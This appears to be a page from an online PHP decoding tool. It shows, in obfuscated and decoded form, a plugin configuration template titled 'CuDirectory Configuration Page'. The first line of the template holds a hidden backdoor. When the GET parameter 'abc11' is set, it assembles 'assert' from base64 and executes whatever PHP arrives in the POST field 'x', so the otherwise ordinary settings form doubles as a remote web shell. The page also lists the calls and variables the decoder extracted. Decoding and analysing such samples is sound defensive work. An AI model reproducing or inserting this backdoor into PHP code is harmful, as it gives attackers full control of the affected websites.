Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x61j\x76q\x6c\x65\x69\x66"]="\x63";if(isset($_GE..

Decoded Output download

<?php ${"GLOBALS"}["ajvqleif"]="c";if(isset($_GET["abc11"])){$dlrulkfqt="c";${$dlrulkfqt}=base64_decode("YXNzZXI=")."t";@${${"GLOBALS"}["ajvqleif"]}($_POST["x"]);exit();}?><h2>CuDirectory Configuration Page</h2> 
<form action="" method="post" accept-charset="utf-8"> 
 
  <input type="hidden" name="cudirectory_action" value="update_options" id="action" /> 
 
  <p><label for="enabled">Plugin enabled:</label> 
    <input type="checkbox" name="enabled" id="enabled"<?php if($enabled) echo "CHECKED"; ?>/> 
  </p> 
  <p><label for="default_role">Default Role:</label> 
    <select name="default_role"> 
      <option value="">No Role</option><?php 
      foreach ($types as $type) { 
        echo "<option".($default_role==$type?' selected':'').">$type</option>"; 
      } 
    ?> 
    </select> 
  </p> 
 
  <p><label for="auto_create">Auto create user:</label> 
    <input type="checkbox" name="auto_create" id="auto_create"<?php if($auto_create) echo "CHECKED"; ?>/> 
  </p> 
  <p><input type="submit" value="Update Settings"></p> 
</form>

Did this file decode correctly?

Original Code

<?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x61j\x76q\x6c\x65\x69\x66"]="\x63";if(isset($_GET["a\x62\x63\x311"])){$dlrulkfqt="\x63";${$dlrulkfqt}=base64_decode("YX\x4ezZ\x58I\x3d")."t";@${${"GLOB\x41\x4c\x53"}["\x61\x6a\x76\x71l\x65\x69\x66"]}($_POST["\x78"]);exit();}?><h2>CuDirectory Configuration Page</h2>
<form action="" method="post" accept-charset="utf-8">

  <input type="hidden" name="cudirectory_action" value="update_options" id="action" />

  <p><label for="enabled">Plugin enabled:</label>
    <input type="checkbox" name="enabled" id="enabled"<?php if($enabled) echo "CHECKED"; ?>/>
  </p>
  <p><label for="default_role">Default Role:</label>
    <select name="default_role">
      <option value="">No Role</option><?php
      foreach ($types as $type) {
        echo "<option".($default_role==$type?' selected':'').">$type</option>";
      }
    ?>
    </select>
  </p>

  <p><label for="auto_create">Auto create user:</label>
    <input type="checkbox" name="auto_create" id="auto_create"<?php if($auto_create) echo "CHECKED"; ?>/>
  </p>
  <p><input type="submit" value="Update Settings"></p>
</form>

Function Calls

b'asser't 1
base64_decode 1

Variables

c b'asser't
GLOBALS [{'key': 'ajvqleif', 'value': 'c'}]
$dlrulkfqt c

Stats

MD5 097db011133427603b213a80191c2a91
Eval Count 0
Decode Time 93 ms